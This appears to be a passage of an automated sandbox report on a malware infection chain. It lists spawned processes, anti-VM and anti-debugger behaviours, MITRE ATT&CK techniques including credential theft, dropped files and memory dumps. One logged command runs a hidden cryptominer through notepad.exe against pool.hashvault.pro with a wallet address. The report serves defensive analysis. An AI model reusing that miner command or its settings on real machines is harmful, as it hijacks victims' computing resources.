C:\Users\Admin\AppData\Local\Temp\10107570101\Ps7WqSx.exe"C:\Users\Admin\AppData\Local\Temp\10107570101\Ps7WqSx.exe"5⤵
-
-
-
-
-
C:\Windows\System32\notepad.exe--donate-level 2 -o pool.hashvault.pro:443 -u 494k9WqKJKFGDoD9MfnAcjEDcrHMmMNJTUun8rYFRYyPHyoHMJf5sesH79UoM8VfoGYevyzthG86r5BTGYZxmhENTzKajL3 -k -p x --cpu-max-threads-hint=402⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\Windows\system32\tasklist.exetasklist /FI "PID eq 1940"2⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "PID eq 1940"2⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist /FI "PID eq 1940"2⤵
- Enumerates processes with tasklist
-
-
C:\Windows\system32\tasklist.exetasklist /FI "PID eq 1940"2⤵
- Enumerates processes with tasklist
-
-
C:\Windows\system32\tasklist.exetasklist /FI "PID eq 1940"2⤵
- Enumerates processes with tasklist
-
-
C:\Windows\system32\tasklist.exetasklist /FI "PID eq 1940"2⤵
- Enumerates processes with tasklist
-
-
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exeC:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1584 -ip 15841⤵
-
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exeC:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\ProgramData\nxpsp\mcsq.exeC:\ProgramData\nxpsp\mcsq.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exeC:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Modify Authentication Process
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Modify Authentication Process
1Modify Registry
1Virtualization/Sandbox Evasion
2Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Modify Authentication Process
1Steal Web Session Cookie
1Unsecured Credentials
3Credentials In Files
3Replay Monitor
Loading Replay Monitor...
Downloads
WK6TyvNYU.hta
powershell.exe.log
powershell.exe.log
service[1].htm
soft[1]
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
asrouter.ftl
PcAIvJ0.exe
ktxzLhN.exe
nhDLtPT.exe
31107e887f.exe
cnntXtU.exe
3277ecaa2a.exe
am_no.cmd
09a5b3d3db.exe
c03b939485.exe
b945d3c333.exe
339a55ae62.exe
83c5f6f0d5.exe
5e644351a1.exe
8c305bd773.exe
b26b6bfdcd.exe
Ps7WqSx.exe
5997.bat
5muhcagw.dll
sqlite.interop.dll
J4N7D1D1SFJ8ZZ0MYXJD3P3ZAVUIW9.exe
RESAB10.tmp
__PSScriptPolicyTest_0t0q1sa0.5gm.ps1
dll32.exe
installer.ps1
kAxSdUV2p.hta
tmp3D4D.tmp.bat
tmpaddon
vertualiziren.exe
AlternateServices.bin
AlternateServices.bin
data.safe.tmp
data.safe.tmp
data.safe.tmp
22c17877-1efc-4e5f-a64c-c5c18b1b4ff2
54b2501c-c134-4c7a-98c4-c375cb200c11
e8da15b7-baa7-4068-a86e-36255804da84
gmpopenh264.dll
gmpopenh264.info
prefs-1.js
prefs.js
5muhcagw.0.cs
5muhcagw.cmdline
CSCE2143F3F87124EFFBE7090E7EC1FD14.TMP
memory/116-98-0x000001F064340000-0x000001F064348000-memory.dmp
memory/464-665-0x00000000009D0000-0x0000000000E42000-memory.dmp
memory/464-658-0x00000000009D0000-0x0000000000E42000-memory.dmp
memory/464-668-0x00000000009D0000-0x0000000000E42000-memory.dmp
memory/464-1101-0x00000000009D0000-0x0000000000E42000-memory.dmp
memory/464-1104-0x00000000009D0000-0x0000000000E42000-memory.dmp
memory/652-476-0x0000000000E10000-0x00000000012CD000-memory.dmp
memory/652-473-0x0000000000E10000-0x00000000012CD000-memory.dmp
memory/916-539-0x0000000000540000-0x00000000009FA000-memory.dmp
memory/916-541-0x0000000000540000-0x00000000009FA000-memory.dmp
memory/916-470-0x0000000000540000-0x00000000009FA000-memory.dmp
memory/1036-427-0x0000000000400000-0x000000000042F000-memory.dmp
memory/1036-452-0x0000000010000000-0x000000001001C000-memory.dmp
memory/1036-443-0x0000000000400000-0x000000000042F000-memory.dmp
memory/1160-478-0x0000000000400000-0x0000000000840000-memory.dmp
memory/1160-544-0x0000000000400000-0x0000000000840000-memory.dmp
memory/1160-552-0x0000000000400000-0x0000000000840000-memory.dmp
memory/1352-335-0x00000000056E0000-0x0000000005A34000-memory.dmp
memory/1456-523-0x0000000000400000-0x000000000042F000-memory.dmp
memory/1584-406-0x0000000000D30000-0x0000000000DA8000-memory.dmp
memory/1588-408-0x0000000000400000-0x0000000000465000-memory.dmp
memory/1588-410-0x0000000000400000-0x0000000000465000-memory.dmp
memory/1588-366-0x0000000005610000-0x0000000005964000-memory.dmp
memory/1588-368-0x0000000005C20000-0x0000000005C6C000-memory.dmp
memory/1660-32-0x0000000000090000-0x000000000054D000-memory.dmp
memory/1660-17-0x0000000000090000-0x000000000054D000-memory.dmp
memory/1660-16-0x0000000000091000-0x00000000000BF000-memory.dmp
memory/1660-13-0x0000000000090000-0x000000000054D000-memory.dmp
memory/1660-18-0x0000000000090000-0x000000000054D000-memory.dmp
memory/1664-3-0x0000000000B80000-0x0000000000E8F000-memory.dmp
memory/1664-15-0x0000000000B80000-0x0000000000E8F000-memory.dmp
memory/1664-7-0x0000000000B80000-0x0000000000E8F000-memory.dmp
memory/1664-6-0x0000000000B80000-0x0000000000E8F000-memory.dmp
memory/1664-11-0x0000000000B81000-0x0000000000BE1000-memory.dmp
memory/1664-5-0x0000000000B80000-0x0000000000E8F000-memory.dmp
memory/1664-4-0x0000000000B80000-0x0000000000E8F000-memory.dmp
memory/1664-0-0x0000000000B80000-0x0000000000E8F000-memory.dmp
memory/1664-2-0x0000000000B81000-0x0000000000BE1000-memory.dmp
memory/1664-1-0x0000000077774000-0x0000000077776000-memory.dmp
memory/1940-526-0x00007FF73D5E0000-0x00007FF73DEA4000-memory.dmp
memory/1940-210-0x0000028DDD7B0000-0x0000028DDD7D0000-memory.dmp
memory/1940-308-0x00007FF73D5E0000-0x00007FF73DEA4000-memory.dmp
memory/1940-447-0x00007FF73D5E0000-0x00007FF73DEA4000-memory.dmp
memory/1940-411-0x00007FF73D5E0000-0x00007FF73DEA4000-memory.dmp
memory/1940-212-0x00007FF73D5E0000-0x00007FF73DEA4000-memory.dmp
memory/1940-200-0x00007FF73D5E0000-0x00007FF73DEA4000-memory.dmp
memory/1940-518-0x00007FF73D5E0000-0x00007FF73DEA4000-memory.dmp
memory/1940-211-0x00007FF73D5E0000-0x00007FF73DEA4000-memory.dmp
memory/1940-201-0x00007FF73D5E0000-0x00007FF73DEA4000-memory.dmp
memory/1940-525-0x00007FF73D5E0000-0x00007FF73DEA4000-memory.dmp
memory/1940-235-0x00007FF73D5E0000-0x00007FF73DEA4000-memory.dmp
memory/1940-209-0x00007FF73D5E0000-0x00007FF73DEA4000-memory.dmp
memory/1940-215-0x00007FF73D5E0000-0x00007FF73DEA4000-memory.dmp
memory/1940-214-0x00007FF73D5E0000-0x00007FF73DEA4000-memory.dmp
memory/1940-213-0x00007FF73D5E0000-0x00007FF73DEA4000-memory.dmp
memory/2036-125-0x0000000000700000-0x0000000001614000-memory.dmp
memory/2036-128-0x000000001C360000-0x000000001CEC6000-memory.dmp
memory/2084-387-0x0000000005F30000-0x0000000005F7C000-memory.dmp
memory/2084-378-0x0000000005880000-0x0000000005BD4000-memory.dmp
memory/2256-565-0x0000000000400000-0x0000000000840000-memory.dmp
memory/2256-519-0x0000000000400000-0x0000000000840000-memory.dmp
memory/2256-182-0x0000000000400000-0x0000000000840000-memory.dmp
memory/2256-412-0x0000000000400000-0x0000000000840000-memory.dmp
memory/2256-309-0x0000000000400000-0x0000000000840000-memory.dmp
memory/2256-448-0x0000000000400000-0x0000000000840000-memory.dmp
memory/2256-236-0x0000000000400000-0x0000000000840000-memory.dmp
memory/2256-237-0x0000000000400000-0x0000000000840000-memory.dmp
memory/2668-304-0x0000000000E10000-0x00000000012CD000-memory.dmp
memory/2668-67-0x0000000000E10000-0x00000000012CD000-memory.dmp
memory/2668-30-0x0000000000E10000-0x00000000012CD000-memory.dmp
memory/2668-442-0x0000000000E10000-0x00000000012CD000-memory.dmp
memory/2668-33-0x0000000000E11000-0x0000000000E3F000-memory.dmp
memory/2668-34-0x0000000000E10000-0x00000000012CD000-memory.dmp
memory/2668-35-0x0000000000E10000-0x00000000012CD000-memory.dmp
memory/2668-36-0x0000000000E10000-0x00000000012CD000-memory.dmp
memory/2668-388-0x0000000000E10000-0x00000000012CD000-memory.dmp
memory/2668-37-0x0000000000E10000-0x00000000012CD000-memory.dmp
memory/2668-38-0x0000000000E10000-0x00000000012CD000-memory.dmp
memory/2668-54-0x0000000000E10000-0x00000000012CD000-memory.dmp
memory/2668-66-0x0000000000E10000-0x00000000012CD000-memory.dmp
memory/2668-555-0x0000000000E10000-0x00000000012CD000-memory.dmp
memory/2668-68-0x0000000000E10000-0x00000000012CD000-memory.dmp
memory/2668-496-0x0000000000E10000-0x00000000012CD000-memory.dmp
memory/2668-234-0x0000000000E10000-0x00000000012CD000-memory.dmp
memory/2668-167-0x0000000000E10000-0x00000000012CD000-memory.dmp
memory/2668-127-0x0000000000E10000-0x00000000012CD000-memory.dmp
memory/2996-126-0x0000000000E10000-0x00000000012CD000-memory.dmp
memory/2996-96-0x0000000000E10000-0x00000000012CD000-memory.dmp
memory/3204-600-0x0000000000300000-0x0000000000613000-memory.dmp
memory/3204-542-0x0000000000300000-0x0000000000613000-memory.dmp
memory/3236-199-0x0000000000EC0000-0x00000000011C9000-memory.dmp
memory/3236-239-0x0000000000EC0000-0x00000000011C9000-memory.dmp
memory/3432-100-0x000000000E580000-0x000000000EE03000-memory.dmp
memory/3480-560-0x000001FED91F0000-0x000001FED92A2000-memory.dmp
memory/3480-556-0x000001FEBE4F0000-0x000001FEBE50E000-memory.dmp
memory/3480-557-0x000001FEBE520000-0x000001FEBE55E000-memory.dmp
memory/3632-322-0x0000000005780000-0x0000000005AD4000-memory.dmp
memory/3768-604-0x0000000000E00000-0x00000000012BD000-memory.dmp
memory/3768-601-0x0000000000E00000-0x00000000012BD000-memory.dmp
memory/3780-578-0x0000000000580000-0x0000000000C17000-memory.dmp
memory/3780-594-0x0000000000580000-0x0000000000C17000-memory.dmp
memory/3884-305-0x0000000000890000-0x0000000000D4D000-memory.dmp
memory/3884-311-0x0000000000890000-0x0000000000D4D000-memory.dmp
memory/4264-135-0x00000299951B0000-0x0000029995766000-memory.dmp
memory/4264-140-0x0000029995B90000-0x0000029995B9A000-memory.dmp
memory/4264-141-0x0000029997590000-0x0000029997606000-memory.dmp
memory/4360-233-0x00000000004E0000-0x00000000004F0000-memory.dmp
memory/4372-517-0x0000000000780000-0x00000000013D1000-memory.dmp
memory/4372-444-0x0000000000780000-0x00000000013D1000-memory.dmp
memory/4372-524-0x0000000000780000-0x00000000013D1000-memory.dmp
memory/4372-497-0x0000000000780000-0x00000000013D1000-memory.dmp
memory/4564-424-0x0000000000130000-0x00000000005ED000-memory.dmp
memory/4564-422-0x0000000000130000-0x00000000005ED000-memory.dmp
memory/4596-356-0x00000000007F0000-0x00000000011FD000-memory.dmp
memory/4596-426-0x00000000007F0000-0x00000000011FD000-memory.dmp
memory/4596-425-0x00000000007F0000-0x00000000011FD000-memory.dmp
memory/4596-446-0x00000000007F0000-0x00000000011FD000-memory.dmp
memory/4624-288-0x0000000007450000-0x0000000007ACA000-memory.dmp
memory/4624-265-0x0000000005270000-0x0000000005292000-memory.dmp
memory/4624-266-0x0000000005410000-0x0000000005476000-memory.dmp
memory/4624-296-0x0000000008080000-0x0000000008624000-memory.dmp
memory/4624-267-0x00000000054F0000-0x0000000005556000-memory.dmp
memory/4624-289-0x0000000005FD0000-0x0000000005FEA000-memory.dmp
memory/4624-263-0x0000000004530000-0x0000000004566000-memory.dmp
memory/4624-294-0x0000000006FB0000-0x0000000007046000-memory.dmp
memory/4624-264-0x0000000004C40000-0x0000000005268000-memory.dmp
memory/4624-279-0x0000000005B00000-0x0000000005B1E000-memory.dmp
memory/4624-280-0x00000000060B0000-0x00000000060FC000-memory.dmp
memory/4624-277-0x0000000005560000-0x00000000058B4000-memory.dmp
memory/4624-295-0x0000000006F40000-0x0000000006F62000-memory.dmp
memory/5036-56-0x0000029BA6BF0000-0x0000029BA6C12000-memory.dmp
memory/5424-1161-0x0000000000250000-0x000000000093E000-memory.dmp